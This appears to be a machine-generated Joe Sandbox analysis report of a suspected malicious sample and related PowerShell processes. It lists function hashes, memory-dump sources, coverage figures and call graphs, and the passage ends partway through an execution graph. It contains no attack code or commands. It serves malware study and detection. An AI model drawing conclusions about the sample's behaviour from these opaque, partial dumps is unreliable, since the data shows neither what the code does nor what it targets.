                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_0_2_7ffd343f0000_GcqJPBLD2Q.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: f75a929d2ae0a5d158c449fbd39969c8024135d05b23e1d6dc322b82ebe1bc8d
                                                                      • Instruction ID: d7c91b5e23db03994a28c6b0ebe18c9bb902185796f554f6fb64086e3bb354f9
                                                                      • Opcode Fuzzy Hash: f75a929d2ae0a5d158c449fbd39969c8024135d05b23e1d6dc322b82ebe1bc8d
                                                                      • Instruction Fuzzy Hash: BDE08631B58C1D0FDAA8F77C5865AA862D6EF9C31075106B6E40DC3356DD28DC418380

                                                                      Non-executed Functions

                                                                      Function 00007FFD343F0500 Relevance: .4, Instructions: 402COMMON
                                                                      Download Yara Rule
                                                                      Memory Dump Source
                                                                      • Source File: 00000000.00000002.2162048216.00007FFD343F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343F0000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_0_2_7ffd343f0000_GcqJPBLD2Q.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: 03bc349fe35341753aaadff716eb040b13424466a8c9ba8792ae538fb27878df
                                                                      • Instruction ID: fcaeacb0f3ee66c56562a18aaec1e6444ec8b7d4b6bde8eeb5456ed2c8458a35
                                                                      • Opcode Fuzzy Hash: 03bc349fe35341753aaadff716eb040b13424466a8c9ba8792ae538fb27878df
                                                                      • Instruction Fuzzy Hash: D7B19C32B4DB894FE329B66898E55B17BD0EF87310B1501BEC58AC7193ED6EA847C341

                                                                      Executed Functions

                                                                      Function 00007FFD344B681E Relevance: 1.3, Strings: 1, Instructions: 60COMMON
                                                                      Download Yara Rule
                                                                      Strings
                                                                      Memory Dump Source
                                                                      • Source File: 00000002.00000002.2390382634.00007FFD344B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD344B0000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_2_2_7ffd344b0000_powershell.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID: (Bp4
                                                                      • API String ID: 0-962038816
                                                                      • Opcode ID: f6c2e4e3dd08795397ab06bda0ca51f68e882d753e05f56e3fcb4933098b0a69
                                                                      • Instruction ID: 4c353784b3dbbb92eed6f35a6abee1eae06796e0c66a487a5d5fad77a4443a25
                                                                      • Opcode Fuzzy Hash: f6c2e4e3dd08795397ab06bda0ca51f68e882d753e05f56e3fcb4933098b0a69
                                                                      • Instruction Fuzzy Hash: 21113672B0EA884FEBA1DA9840A41687BE1EF06310F0500BFC6CDDB1A3DD68AC40C311
                                                                      Function 00007FFD342CE380 Relevance: .1, Instructions: 127COMMON
                                                                      Download Yara Rule
                                                                      Memory Dump Source
                                                                      • Source File: 00000002.00000002.2387953621.00007FFD342CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD342CD000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_2_2_7ffd342cd000_powershell.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: c3ab2f0aca5f165aa413cd95fabbd1f0e2321b9f25813af9b293b612c4352d1a
                                                                      • Instruction ID: 3ae03d42e35e9e3697ae719423b376f54f92358dfe0689d1d67570a7bc997290
                                                                      • Opcode Fuzzy Hash: c3ab2f0aca5f165aa413cd95fabbd1f0e2321b9f25813af9b293b612c4352d1a
                                                                      • Instruction Fuzzy Hash: 0541F47550DBC44FE7568B2898959623FB0EF53324B1506EFD08CCB1A3D62ABC46C792
                                                                      Function 00007FFD343E9868 Relevance: .1, Instructions: 126COMMON
                                                                      Download Yara Rule
                                                                      Memory Dump Source
                                                                      • Source File: 00000002.00000002.2389245771.00007FFD343E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343E0000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_2_2_7ffd343e0000_powershell.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: 55bfacadcfb6500601399a80957db8f51165c49b18a00b2956f09e00829cc563
                                                                      • Instruction ID: 61f15215a1bc3b3e45f5faacf08cd617f1a52feab2967991a4f6efabdc64baee
                                                                      • Opcode Fuzzy Hash: 55bfacadcfb6500601399a80957db8f51165c49b18a00b2956f09e00829cc563
                                                                      • Instruction Fuzzy Hash: 9F31F671A1CA4C4FDB5C9B4CA8466E977E0FB99311F04422FE449D3252CA74A8568BC2
                                                                      Function 00007FFD343EA57C Relevance: .1, Instructions: 102COMMON
                                                                      Download Yara Rule
                                                                      Memory Dump Source
                                                                      • Source File: 00000002.00000002.2389245771.00007FFD343E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343E0000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_2_2_7ffd343e0000_powershell.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: c5942920749856204e3be580aa3007ef7a464589897b6b01fe8fb26e38ddc7c9
                                                                      • Instruction ID: 362f6ce0dab62383552bd203476c9f3dcec74463e82b2244994a2f66742e161c
                                                                      • Opcode Fuzzy Hash: c5942920749856204e3be580aa3007ef7a464589897b6b01fe8fb26e38ddc7c9
                                                                      • Instruction Fuzzy Hash: 87312B3190C74C8FEB59EB6C984A7EA7FF0EB96320F04416BD048C7192DA78A445CB91
                                                                      Function 00007FFD343E33B5 Relevance: .0, Instructions: 49COMMON
                                                                      Download Yara Rule
                                                                      Memory Dump Source
                                                                      • Source File: 00000002.00000002.2389245771.00007FFD343E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343E0000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_2_2_7ffd343e0000_powershell.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
                                                                      • Instruction ID: 07153bfff212aaad96003ade6bf91a3dbe2d75e7666bf71565220f847edb9ce7
                                                                      • Opcode Fuzzy Hash: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
                                                                      • Instruction Fuzzy Hash: 3801677125CB0C4FD748EF4CE451AA6B7E0FB95364F10066DE58AC3651DA36E882CB46
                                                                      Function 00007FFD344B414D Relevance: .0, Instructions: 37COMMON
                                                                      Download Yara Rule
                                                                      Memory Dump Source
                                                                      • Source File: 00000002.00000002.2390382634.00007FFD344B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD344B0000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_2_2_7ffd344b0000_powershell.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: 0820598b12385fc7bd5de09cc491964777eead54cbf087a4e1d90868e207dce0
                                                                      • Instruction ID: 85bf951ff5249555de9923f8ed4e49b52b6147a9de94f23a5bddd043a6a6f5e4
                                                                      • Opcode Fuzzy Hash: 0820598b12385fc7bd5de09cc491964777eead54cbf087a4e1d90868e207dce0
                                                                      • Instruction Fuzzy Hash: A1F0BE32B0C5148FDB68EB8CF4A44A877E1EF5632171200BAE19DC7267CE6AEC40C740
                                                                      Function 00007FFD344B4400 Relevance: .0, Instructions: 35COMMON
                                                                      Download Yara Rule
                                                                      Memory Dump Source
                                                                      • Source File: 00000002.00000002.2390382634.00007FFD344B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD344B0000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_2_2_7ffd344b0000_powershell.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: bb7c2cd93307a88783fd1a57cde0d34f10fabdb36ce54e97b4d90f5027b965a9
                                                                      • Instruction ID: a295c4ae0f915ffca452a7c57399a5c701c8ef3de6f3aa86ecab30dbf3c07cab
                                                                      • Opcode Fuzzy Hash: bb7c2cd93307a88783fd1a57cde0d34f10fabdb36ce54e97b4d90f5027b965a9
                                                                      • Instruction Fuzzy Hash: 21F0BE32A0C5448FDB64EB4CF0A14A877E0EF0632474200B6E19DCB063DA6AAC50C740
                                                                      Function 00007FFD344B41D1 Relevance: .0, Instructions: 29COMMON
                                                                      Download Yara Rule
                                                                      Memory Dump Source
                                                                      • Source File: 00000002.00000002.2390382634.00007FFD344B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD344B0000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_2_2_7ffd344b0000_powershell.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: 05dd94a12dc45e8f7da9c60e7e1a12ab84c0b153eba5a8a472aa7bc71ce4f1d8
                                                                      • Instruction ID: b0b310c1d328db794ba755ce36ff62fa5ddc320b54c5e735349efdbfba295a3d
                                                                      • Opcode Fuzzy Hash: 05dd94a12dc45e8f7da9c60e7e1a12ab84c0b153eba5a8a472aa7bc71ce4f1d8
                                                                      • Instruction Fuzzy Hash: E1E04831B0C4148FDA68DA0CF0949E973E1EF9933171101B7D24EC7665CA75EC51DB80
                                                                      Function 00007FFD343EA1F3 Relevance: .0, Instructions: 26COMMON
                                                                      Download Yara Rule
                                                                      Memory Dump Source
                                                                      • Source File: 00000002.00000002.2389245771.00007FFD343E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343E0000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_2_2_7ffd343e0000_powershell.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: fc293427b50a9a28d772481948d3e125e0aa85ff33fe0278a196b357247be9ed
                                                                      • Instruction ID: 0e64956ee6331d88f3dbe5dca1a08ad2cc77d1d687941407e7042468d902f2a5
                                                                      • Opcode Fuzzy Hash: fc293427b50a9a28d772481948d3e125e0aa85ff33fe0278a196b357247be9ed
                                                                      • Instruction Fuzzy Hash: 0DE06536948A8C8FDB55EF1898594E97BE0FF25300B05019AE91DC7061DB769998CB82

                                                                      Non-executed Functions

                                                                      Function 00007FFD343E89F2 Relevance: 6.4, Strings: 5, Instructions: 107COMMON
                                                                      Download Yara Rule
                                                                      Strings
                                                                      Memory Dump Source
                                                                      • Source File: 00000002.00000002.2389245771.00007FFD343E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343E0000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_2_2_7ffd343e0000_powershell.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID: M_^$M_^$M_^$M_^$M_^
                                                                      • API String ID: 0-2396788759
                                                                      • Opcode ID: e000904fc7e2b979d33efa0dace8860d9482b2bfe2e92228574e6801ece0d820
                                                                      • Instruction ID: ed9a87b5eca73d25d4df3b53125d46c7ec386db72609b612d7b13a7f37ea665b
                                                                      • Opcode Fuzzy Hash: e000904fc7e2b979d33efa0dace8860d9482b2bfe2e92228574e6801ece0d820
                                                                      • Instruction Fuzzy Hash: B041D557E5E2C39AE70A271848A40E67F61FF63354F5A06F7C284CB053FA2865469381
                                                                      Function 00007FFD343E86F2 Relevance: 6.3, Strings: 5, Instructions: 73COMMON
                                                                      Download Yara Rule
                                                                      Strings
                                                                      Memory Dump Source
                                                                      • Source File: 00000002.00000002.2389245771.00007FFD343E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343E0000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_2_2_7ffd343e0000_powershell.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID: M_^$M_^$M_^$M_^$M_^
                                                                      • API String ID: 0-679677686
                                                                      • Opcode ID: 35cebe93b52f70038102cf17f774422063ee6ff1abdb76e5597b2594f2332350
                                                                      • Instruction ID: 7c3f1bd51d0a443f8e5465b3358d21e1041e86655aa0712fd60b590a3751b2c6
                                                                      • Opcode Fuzzy Hash: 35cebe93b52f70038102cf17f774422063ee6ff1abdb76e5597b2594f2332350
                                                                      • Instruction Fuzzy Hash: 6D21A06390E7C2ABE7575B2948A90A53FE1FF23204F5A15F6C6D4CF053FA285546C341

                                                                      Execution Graph

                                                                      Execution Coverage:29.5%
                                                                      Dynamic/Decrypted Code Coverage:0%
                                                                      Signature Coverage:0%
                                                                      Total number of Nodes:15
                                                                      Total number of Limit Nodes:0
                                                                      execution_graph 291 4023f2 _controlfp 292 4010c4 2 API calls 291->292 293 402473 292->293 277 4022fa 278 40232c 277->278 281 40224f 278->281 280 4023e5 282 402285 281->282 285 4010c4 282->285 284 4022be 284->280 286 402480 285->286 287 4010e7 memset 286->287 288 40115b 287->288 289 401214 sprintf 288->289 290 4012bd 289->290 290->284

                                                                      Callgraph

                                                                      • Executed
                                                                      • Not Executed
                                                                      • Opacity -> Relevance
                                                                      • Disassembly available
                                                                      callgraph 0 Function_00401443 1 Function_004010C4 15 Function_004019D8 1->15 16 Function_00401D58 1->16 34 Function_00401000 1->34 49 Function_00401C98 1->49 50 Function_00401D98 1->50 51 Function_00401D18 1->51 2 Function_004017C6 3 Function_004024C7 4 Function_004022CB 5 Function_0040224F 5->1 19 Function_00402158 5->19 27 Function_004021EC 5->27 6 Function_0062346D 7 Function_00623E76 8 Function_00401BD8 28 Function_004018EF 8->28 9 Function_00401F58 9->28 10 Function_00401DD8 10->28 11 Function_00401C58 11->28 12 Function_00401B58 12->28 13 Function_00401AD8 13->28 14 Function_00401A58 14->28 15->28 16->28 17 Function_00401CD8 17->28 18 Function_00402058 18->28 20 Function_004020D8 20->28 21 Function_00401FD8 21->28 22 Function_00401E58 22->28 23 Function_00401ED8 23->28 24 Function_00623678 25 Function_006230C0 26 Function_004021E5 65 Function_004014B4 28->65 29 Function_00401970 30 Function_004023F2 30->1 31 Function_00402477 32 Function_00623CDA 33 Function_004022FA 33->5 35 Function_00623D22 36 Function_00401784 37 Function_00402487 38 Function_006234AC 39 Function_006236B7 40 Function_00402497 41 Function_00401F18 41->28 42 Function_00402018 42->28 43 Function_00401C18 43->28 44 Function_00401A98 44->28 45 Function_00401B98 45->28 46 Function_00401B18 46->28 47 Function_00401A18 47->28 48 Function_00401998 48->28 49->28 50->28 51->28 52 Function_00402118 52->28 53 Function_00402098 53->28 54 Function_00401F98 54->28 55 Function_00401E18 55->28 56 Function_00401E98 56->28 57 Function_006232B8 58 Function_00623686 59 Function_00623004 60 Function_00623384 61 Function_004024A7 62 Function_00623D8A 63 Function_00623989 64 Function_00623290 65->0 65->29 66 Function_004024B7 67 Function_00623D9A 68 Function_004010BD

                                                                      Executed Functions

                                                                      Function 004010C4 Relevance: 2.7, APIs: 2, Instructions: 189COMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      APIs
                                                                      Memory Dump Source
                                                                      • Source File: 00000004.00000002.2150274288.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                      • Associated: 00000004.00000002.2149916679.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                      • Associated: 00000004.00000002.2150604683.0000000000403000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                      • Associated: 00000004.00000002.2151029639.0000000000623000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_4_2_400000_Cool.jbxd
                                                                      Similarity
                                                                      • API ID: memsetsprintf
                                                                      • String ID:
                                                                      • API String ID: 4041149307-0
                                                                      • Opcode ID: 01eff5696b47a0c8523f73e639b121ae39c8d3c59b28085ca5545cdfb3dbf164
                                                                      • Instruction ID: 38ad2a6a00e83616f08532030b253dd4d1e7118746b05065e8127eb6d971b81d
                                                                      • Opcode Fuzzy Hash: 01eff5696b47a0c8523f73e639b121ae39c8d3c59b28085ca5545cdfb3dbf164
                                                                      • Instruction Fuzzy Hash: 1F712B61702B148DEB909B27DC5139A37A8F749FC8F804176EE4CA7B98EE3DCA448744
                                                                      Function 00401000 Relevance: 1.3, Strings: 1, Instructions: 57COMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      • Executed
                                                                      • Not Executed
                                                                      control_flow_graph 33 401000-401045 call 402478 36 401048-401050 33->36 37 4010b6-4010bb 36->37 38 401056-4010b4 36->38 38->36
                                                                      Strings
                                                                      • ^u8.6=_@3srw.cv7=2x(-n,i]@uyv(:i, xrefs: 00401098
                                                                      Memory Dump Source
                                                                      • Source File: 00000004.00000002.2150274288.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                      • Associated: 00000004.00000002.2149916679.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                      • Associated: 00000004.00000002.2150604683.0000000000403000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                      • Associated: 00000004.00000002.2151029639.0000000000623000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_4_2_400000_Cool.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID: ^u8.6=_@3srw.cv7=2x(-n,i]@uyv(:i
                                                                      • API String ID: 0-4003562268
                                                                      • Opcode ID: 7c3953f8a7c90db685ffea7de54f2d06ba9ad392580460fe7ac0a4260f709850
                                                                      • Instruction ID: 0d50406a0cd25772023a57935085f3dfc6f67c384a3cfb9a17e074b16623a215
                                                                      • Opcode Fuzzy Hash: 7c3953f8a7c90db685ffea7de54f2d06ba9ad392580460fe7ac0a4260f709850
                                                                      • Instruction Fuzzy Hash: BC214772B01A40DEEB04CBA9D8913AC3BF1E74878DF00846AEE5DA7B58DA38D5518744
                                                                      Function 004022FA Relevance: .1, Instructions: 61COMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      Memory Dump Source
                                                                      • Source File: 00000004.00000002.2150274288.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                      • Associated: 00000004.00000002.2149916679.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                      • Associated: 00000004.00000002.2150604683.0000000000403000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                      • Associated: 00000004.00000002.2151029639.0000000000623000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_4_2_400000_Cool.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: c97444b26eb0a9de653984ec55a3500cf463fc827df995e9e73b9d5be0fa21db
                                                                      • Instruction ID: 5eff8908725a2043d06c871033f4bf127f617af6982a9d2f029f7018b99d12c4
                                                                      • Opcode Fuzzy Hash: c97444b26eb0a9de653984ec55a3500cf463fc827df995e9e73b9d5be0fa21db
                                                                      • Instruction Fuzzy Hash: 59211664301A1498EA44DF67DD6539933A5B74DFC8F808836EE0CAB3A5EEBDCA108354
                                                                      Function 0040224F Relevance: .0, Instructions: 34COMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      • Executed
                                                                      • Not Executed
                                                                      control_flow_graph 56 40224f-4022ca call 402158 call 4010c4 call 4021ec
                                                                      Memory Dump Source
                                                                      • Source File: 00000004.00000002.2150274288.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                      • Associated: 00000004.00000002.2149916679.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                      • Associated: 00000004.00000002.2150604683.0000000000403000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                      • Associated: 00000004.00000002.2151029639.0000000000623000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_4_2_400000_Cool.jbxd
                                                                      Similarity
                                                                      • API ID: memsetsprintf
                                                                      • String ID:
                                                                      • API String ID: 4041149307-0
                                                                      • Opcode ID: 30c437ed4cbbe9fe93322e8862eda177a51b290fc49a875f2f7dd46c95277d54
                                                                      • Instruction ID: f08bd49701afd7abd8aa0eb815bbb8a299075c9933e2ac4a50a174ea855f985a
                                                                      • Opcode Fuzzy Hash: 30c437ed4cbbe9fe93322e8862eda177a51b290fc49a875f2f7dd46c95277d54
                                                                      • Instruction Fuzzy Hash: 6C01AF76701B998DDB40DF6ADC9139837A4B309BCCF008826EE5CA7B69DA78C6218744

                                                                      Non-executed Functions

                                                                      Function 00401D58 Relevance: .0, Instructions: 15COMMON
                                                                      Download Yara Rule
                                                                      Memory Dump Source
                                                                      • Source File: 00000004.00000002.2150274288.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                      • Associated: 00000004.00000002.2149916679.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                      • Associated: 00000004.00000002.2150604683.0000000000403000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                      • Associated: 00000004.00000002.2151029639.0000000000623000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_4_2_400000_Cool.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: a33d4c2589a0a0e030cf565e08a5ce4a3f4aa7e1e7ab656288357c1d05c0b8cb
                                                                      • Instruction ID: f5786d1abfcdca8d5aa6566e32f28f63e9c87e4faa2297304d8ad0afc813e31e
                                                                      • Opcode Fuzzy Hash: a33d4c2589a0a0e030cf565e08a5ce4a3f4aa7e1e7ab656288357c1d05c0b8cb
                                                                      • Instruction Fuzzy Hash: A9E0B6B6608B84918210EF96F08040AB7A4F7D87C4B14495AFAC807B19CF38C1608B54
                                                                      Function 00401D18 Relevance: .0, Instructions: 15COMMON
                                                                      Download Yara Rule
                                                                      Memory Dump Source
                                                                      • Source File: 00000004.00000002.2150274288.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                      • Associated: 00000004.00000002.2149916679.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                      • Associated: 00000004.00000002.2150604683.0000000000403000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                      • Associated: 00000004.00000002.2151029639.0000000000623000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_4_2_400000_Cool.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: 020f5d48da09c7700aeda8bd0a3f6b9993537dbb26fb64f6943ef127969a50b2
                                                                      • Instruction ID: c7d7455ca217e8b3c23fe1936170d254a3e5e22e9f4eb8c11b6f947ad1bce58b
                                                                      • Opcode Fuzzy Hash: 020f5d48da09c7700aeda8bd0a3f6b9993537dbb26fb64f6943ef127969a50b2
                                                                      • Instruction Fuzzy Hash: 72E0B6B6608B84918610EF55F09000AB7A4F7D87C4B10452AFACC07B19CF38C1608B54
                                                                      Function 004019D8 Relevance: .0, Instructions: 15COMMON
                                                                      Download Yara Rule
                                                                      Memory Dump Source
                                                                      • Source File: 00000004.00000002.2150274288.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                      • Associated: 00000004.00000002.2149916679.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                      • Associated: 00000004.00000002.2150604683.0000000000403000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                      • Associated: 00000004.00000002.2151029639.0000000000623000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_4_2_400000_Cool.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: ca3c3e23f7f5060f60ee19056fbc1c70fca65fad76dbb6e40effcae9b66313bb
                                                                      • Instruction ID: 627af5f8094be66caef8c1b0706e96e42ef7260cfbbcc69a360fc60fbdea0424
                                                                      • Opcode Fuzzy Hash: ca3c3e23f7f5060f60ee19056fbc1c70fca65fad76dbb6e40effcae9b66313bb
                                                                      • Instruction Fuzzy Hash: DCE0B676608BC4818610EF56F08000EB7A4F3D87C4B50451AFEC807B19CF38C1608B94
                                                                      Function 00401D98 Relevance: .0, Instructions: 15COMMON
                                                                      Download Yara Rule
                                                                      Memory Dump Source
                                                                      • Source File: 00000004.00000002.2150274288.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                      • Associated: 00000004.00000002.2149916679.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                      • Associated: 00000004.00000002.2150604683.0000000000403000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                      • Associated: 00000004.00000002.2151029639.0000000000623000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_4_2_400000_Cool.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: db6b6cfaf8a4343f9749643661a9f9a5664ab33be6a1bd7be59ea7afcb63d4d2
                                                                      • Instruction ID: b2e0e82ad3426746da12d9f0277540f7e25234b30cdab3b6ff9ce6c5225f79a2
                                                                      • Opcode Fuzzy Hash: db6b6cfaf8a4343f9749643661a9f9a5664ab33be6a1bd7be59ea7afcb63d4d2
                                                                      • Instruction Fuzzy Hash: B5E0B676608B88818610EF55F09000EB7B4F3E87C4B10852AFAC817B19CF38C2608B54
                                                                      Function 00401C98 Relevance: .0, Instructions: 15COMMON
                                                                      Download Yara Rule
                                                                      Memory Dump Source
                                                                      • Source File: 00000004.00000002.2150274288.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                      • Associated: 00000004.00000002.2149916679.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                      • Associated: 00000004.00000002.2150604683.0000000000403000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                      • Associated: 00000004.00000002.2151029639.0000000000623000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_4_2_400000_Cool.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: 1a28beb2cf51f9b71989e72db21d67a0b42a4e1b113aff34d5980b4674a401d7
                                                                      • Instruction ID: a4dee403f1f2686bbcf15adc62412925ab874ec13bcc78934c739608fafdbb81
                                                                      • Opcode Fuzzy Hash: 1a28beb2cf51f9b71989e72db21d67a0b42a4e1b113aff34d5980b4674a401d7
                                                                      • Instruction Fuzzy Hash: A6E0B676608B84D28210EF56F09000AB7A4F3D87C4B10455AFAC817B19CF38C1608B54

                                                                      Execution Graph

                                                                      Execution Coverage:17%
                                                                      Dynamic/Decrypted Code Coverage:0%
                                                                      Signature Coverage:36%
                                                                      Total number of Nodes:425
                                                                      Total number of Limit Nodes:1
                                                                      execution_graph 1420 7ff6fe424d48 1423 7ff6fe425160 1420->1423 1424 7ff6fe424d51 1423->1424 1425 7ff6fe425183 GetSystemTimeAsFileTime GetCurrentThreadId GetCurrentProcessId QueryPerformanceCounter 1423->1425 1425->1424 1477 7ff6fe424ae8 1478 7ff6fe424af8 1477->1478 1490 7ff6fe424f98 1478->1490 1480 7ff6fe425280 9 API calls 1481 7ff6fe424b9d 1480->1481 1482 7ff6fe424b1c _RTC_Initialize 1488 7ff6fe424b7f 1482->1488 1498 7ff6fe425220 InitializeSListHead 1482->1498 1488->1480 1489 7ff6fe424b8d 1488->1489 1491 7ff6fe424fa9 1490->1491 1492 7ff6fe424fdb 1490->1492 1493 7ff6fe425018 1491->1493 1496 7ff6fe424fae __scrt_release_startup_lock 1491->1496 1492->1482 1494 7ff6fe425280 9 API calls 1493->1494 1495 7ff6fe425022 1494->1495 1496->1492 1497 7ff6fe424fcb _initialize_onexit_table 1496->1497 1497->1492 1053 7ff6fe424bcc 1054 7ff6fe424be5 1053->1054 1055 7ff6fe424bed 1054->1055 1056 7ff6fe424d23 1054->1056 1058 7ff6fe424d2d 1055->1058 1059 7ff6fe424c0b __scrt_release_startup_lock 1055->1059 1198 7ff6fe425280 IsProcessorFeaturePresent 1056->1198 1060 7ff6fe425280 9 API calls 1058->1060 1062 7ff6fe424c30 1059->1062 1064 7ff6fe424cb6 _get_initial_wide_environment __p___wargv __p___argc 1059->1064 1068 7ff6fe424cae _register_thread_local_exe_atexit_callback 1059->1068 1061 7ff6fe424d38 1060->1061 1063 7ff6fe424d40 _exit 1061->1063 1073 7ff6fe422f80 1064->1073 1068->1064 1070 7ff6fe424ce3 1071 7ff6fe424ce8 _cexit 1070->1071 1072 7ff6fe424ced 1070->1072 1071->1072 1072->1062 1074 7ff6fe422fc7 1073->1074 1075 7ff6fe423b8a 1073->1075 1204 7ff6fe421cb0 1074->1204 1077 7ff6fe424970 2 API calls 1075->1077 1079 7ff6fe423b96 1077->1079 1081 